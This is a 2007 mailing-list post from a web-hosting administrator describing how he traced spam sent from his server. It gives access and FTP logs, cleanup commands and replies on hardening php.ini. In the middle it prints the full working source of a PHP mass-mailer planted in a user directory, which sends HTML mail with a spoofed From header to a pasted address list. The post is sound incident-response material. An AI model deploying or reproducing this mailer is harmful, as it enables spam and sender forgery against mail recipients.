Ok, here is the follow-up on the issue I had.
I took everyone's suggestions. One of the things that helped the
most was the grep of access_log looking for POST. That helped me to
find something peculiar.
I searched by access_log for all posts. I found something that
looked suspicious. Here is a grep:
[root (at mark) huda httpd]# cat access_log | grep mona/mail.php
www.sohaibqadar.com 172.158.34.227 - - [27/Nov/2007:05:45:30 -0500]
"GET /~mona/mail.php HTTP/1.1" 200 1899 "-" "Mozilla/5.0 (Windows; U;
Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9"
www.sohaibqadar.com 172.158.34.227 - - [27/Nov/2007:05:48:44 -0500]
"POST /~mona/mail.php HTTP/1.1" 200 5602
"http://216.14.86.168/~mona/mail.php"; "Mozilla/5.0 (Windows; U;
Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9"
www.sohaibqadar.com 172.158.34.227 - - [27/Nov/2007:12:48:41 -0500]
"GET /~mona/mail.php HTTP/1.1" 200 1899 "-" "Mozilla/4.0 (compatible;
MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
www.sohaibqadar.com 172.158.34.227 - - [27/Nov/2007:12:52:22 -0500]
"POST /~mona/mail.php HTTP/1.1" 200 5568
"http://216.14.86.168/~mona/mail.php"; "Mozilla/4.0 (compatible; MSIE
6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
www.sohaibqadar.com 172.158.34.227 - - [27/Nov/2007:12:53:10 -0500]
"POST /~mona/mail.php HTTP/1.1" 200 70667
"http://216.14.86.168/~mona/mail.php"; "Mozilla/4.0 (compatible; MSIE
6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
www.sohaibqadar.com 172.158.34.227 - - [27/Nov/2007:13:49:04 -0500]
"POST /~mona/mail.php HTTP/1.1" 200 13805
"http://216.14.86.168/~mona/mail.php"; "Mozilla/4.0 (compatible; MSIE
6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
www.sohaibqadar.com 172.158.34.227 - - [27/Nov/2007:14:07:39 -0500]
"GET /~mona/mail.php HTTP/1.1" 200 1899 "-" "Mozilla/4.0 (compatible;
MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
www.sohaibqadar.com 172.158.34.227 - - [27/Nov/2007:14:31:49 -0500]
"POST /~mona/mail.php HTTP/1.1" 200 896757
"http://216.14.86.168/~mona/mail.php"; "Mozilla/4.0 (compatible; MSIE
6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
www.sohaibqadar.com 172.158.34.227 - - [27/Nov/2007:15:29:05 -0500]
"POST /~mona/mail.php HTTP/1.1" 200 451376
"http://216.14.86.168/~mona/mail.php"; "Mozilla/4.0 (compatible; MSIE
6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
www.sohaibqadar.com 172.158.34.227 - - [27/Nov/2007:15:50:28 -0500]
"POST /~mona/mail.php HTTP/1.1" 200 354341
"http://216.14.86.168/~mona/mail.php"; "Mozilla/4.0 (compatible; MSIE
6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
www.sohaibqadar.com 172.158.34.227 - - [27/Nov/2007:16:15:11 -0500]
"POST /~mona/mail.php HTTP/1.1" 200 34417
"http://216.14.86.168/~mona/mail.php"; "Mozilla/4.0 (compatible; MSIE
6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
www.sohaibqadar.com 172.158.34.227 - - [27/Nov/2007:16:19:58 -0500]
"POST /~mona/mail.php HTTP/1.1" 200 29006
"http://216.14.86.168/~mona/mail.php"; "Mozilla/4.0 (compatible; MSIE
6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
What was suspicious was the ~mona meant that a files was in a user
directory and it was called mail.php. So I checked out mail.php and
here is what I found:
[root@huda mona]# cd web
[root@huda web]# ls -la
total 20
drwxrwsr-x 2 mona site82 4096 Sep 14 15:24 .
drwxrws--x 7 mona site82 4096 Sep 14 15:23 ..
-rw-rw-r-- 1 mona site82 4999 Mar 11 2006 index.html
-rw-r--r-- 1 mona site82 3432 Sep 14 15:24 mail.php
[root (at mark) huda web]# more mail.php
<?
$action = $_POST['action'];
$from = $_POST['from'];
$realname = $_POST['realname'];
$subject = $_POST['subject'];
$message = $_POST['message'];
$emaillist = $_POST['emaillist'];
?>
<html>
<head>
<title>PHP Emailer v1.5 by Illegalanimal</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<body bgcolor="#FFFFFF" text="#000000">
<?
if ($action=="send"){
$message = urlencode($message);
$message = ereg_replace("%5C%22", "%22", $message);
$message = urldecode($message);
$message = stripslashes($message);
$subject = stripslashes($subject);
}
?>
<form name="form1" method="post" action="" enctype="multipart/form-data">
<br>
<table width="100%" border="0">
<tr>
<td width="10%">
<div align="right"><font size="-1" face="Verdana, Arial,
Helvetica, sans-serif">Your
Email:</font></div>
</td>
<td width="18%"><font size="-1" face="Verdana, Arial,
Helvetica, sans-serif">
<input type="text" name="realname" value="<? print
$realname; ?>" size="30">
</font></td>
<td width="31%">
<div align="right"><font size="-1" face="Verdana, Arial,
Helvetica, sans-serif">Your
Name:</font></div>
</td>
<td width="41%"><font size="-1" face="Verdana, Arial,
Helvetica, sans-serif">
<input type="text" name="from" value="<? print $from; ?>" size="30">
</font></td>
</tr>
<tr>
<td width="10%">
<div align="right"><font size="-1" face="Verdana, Arial,
Helvetica, sans-serif">Subject:</font></div>
</td>
<td colspan="3"><font size="-1" face="Verdana, Arial,
Helvetica, sans-serif">
<input type="text" name="subject" value="<? print $subject;
?>" size="115">
</font></td>
</tr>
<tr valign="top">
<td colspan="3"><font size="-1" face="Verdana, Arial,
Helvetica, sans-serif">
<textarea name="message" cols="60" rows="10"><? print
$message; ?></textarea>
<br>
<input type="hidden" name="action" value="send">
<input type="submit" value="Send Message">
</font></td>
<td width="41%"><font size="-1" face="Verdana, Arial,
Helvetica, sans-serif">
<textarea name="emaillist" cols="30" rows="10"><? print
$emaillist; ?></textarea>
<br></font></td>
</tr>
</table>
</form>
<?
if ($action=="send"){
if (!$from && !$subject && !$message && !$emaillist){
print "Please complete all fields before sending your message.";
exit;
}
$allemails = split("\n", $emaillist);
$numemails = count($allemails);
for($x=0; $x<$numemails; $x++){
$to = $allemails[$x];
if ($to){
$to = ereg_replace(" ", "", $to);
$message = ereg_replace("&email&", $to, $message);
$subject = ereg_replace("&email&", $to, $subject);
$nrmail=$x+1;
$domain = substr($from, strpos($from, "@"), strlen($from));
print "Sending mail $nrmail of $numemails to $to.......";
flush();
$header = "From: $realname <$from>\r\n";
// $header .= "Message-Id: <130746$numemails.$nrmail$domain>\r\n";
$header .= "MIME-Version: 1.0\r\n";
$header .= "Content-Type: text/html\r\n";
$header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
$header .= "$message\r\n";
mail($to, $subject, "", $header);
print "OK!<br>";
flush();
}
}
}
?>
</body>
</html>
So, I deleted the file and waited to see if the offender would try to
replace the file. Sure enough, the offender did. I captured the
offense in the xferlog:
[root@huda log]# cat xferlog | grep mona
Tue Nov 27 17:04:57 2007 0 172.158.34.227 3432
/home/.sites/43/site82/.users/10/mona/public_html/mail.php b _ i r
mona ftp 0 * c
I deleted the file again and changed the user password. Observe that
the offending IP was from AOL. I am going to submit my findings to them.
I searched the system using a CPU intensive command for any other
offending files:
find /home/.sites/ -exec grep "Illegalanimal" '{}' \; -print
I also temporarily ran the following commands every minute as a cron
job in an effort to keep the mqueue cleared of any offending email:
[root (at mark) huda cron.minutely]# more spamkiller.sh
find /var/spool/mqueue -exec grep "UNICEF and Rays" '{}' \; -exec rm
{} \; >> /tmp/spamkiller.txt
find /var/spool/mqueue -exec grep "1 Cent Listing Week" '{}' \; -exec
rm {} \; >> /tmp/spamkiller.txt
I thought I would share my process with others.
-Rashid
At 04:12 AM 11/27/2007, you wrote:
>Hi,
>
>
>
>Another setting you'd like to disable in php.ini (either globally or
>per-site basis) is allow_url_fopen -- it's used quite often to generate
>bulk mail by pulling addresses and messages from external hosts.
>
>
>
>Hope this helps,
>
>Neritan
>
>----- Original Message ----
>From: Michael Stauber <bq (at mark) solarspeed.net>
>To: coba-e (at mark) bluequartz.org
>Sent: Tuesday, November 27, 2007 7:35:29 AM
>Subject: [coba-e:11249] Re: AW: Re: Tracing emails being sent with apache
>
>
>Hi Rashid,
>
> > So far, I had already tried Gerald's and your
> > technique before sending out the SOS. So I am
> > still stuck. I can't seem to find something that
> > is showing a large amount of repetition in the logs.
> >
> > If anyone has any other ideas, I am definitely in
> > need of one. I normally find these things but this time I am stuck.
>
>OK, this is somewhat drastic, but it might help.
>
>In php.ini set:
>
>disable_functions = mail
>
>This will disable the mail() function in PHP entirely - for all PHP
> scripts.
>It has to be set in php.ini and cannot be set anywhere else.
>
>Now if someone tries to use the mail() function in PHP the script will
> error
>out and this error(s) will also be logged in the Apache error logfile.
> That
>allows you to easily find which scripts make use of the mail() function
> and
>how often that happens.
>
>It is not entirely foolproof as there are tons of ways to send emails
> with
>PHP. The mail() function is the most commonly used way, as it offers
> the
>least hassles. You can also send mail over system calls or sockets, or
>external PHP classes which use different methods than the mail()
> function
>itself.
>
>But nonetheless it's a start and for troubleshooting purposes I'd
> suggest to
>try this first. If it doesn't work out right away, you could deny
> additional
>PHP functions as well, like this:
>
>disable_functions = mail,system,sockets
>
>However, please note that dissalowing system() and sockets() will most
> likely
>break a lot of unrelated scripts. So if you do that, be prepared for a
> lot of
>collateral damage.
>
>--
>With best regards,
>
>Michael Stauber
>
>
>
>
>
>
>
>____________________________________________________________________________________
>Get easy, one-click access to your favorites.
>Make Yahoo! your homepage.
>http://www.yahoo.com/r/hs
*****************************************************************
MuntadaNet Web Hosting and Web Design Services
http://www.muntada.com
Sales - sales (at mark) muntada.com
Support - support (at mark) muntada.com
Billing - billing (at mark) muntada.com
Main Office - 808-689-6092
Fax - (808) 356-0279
*****************************************************************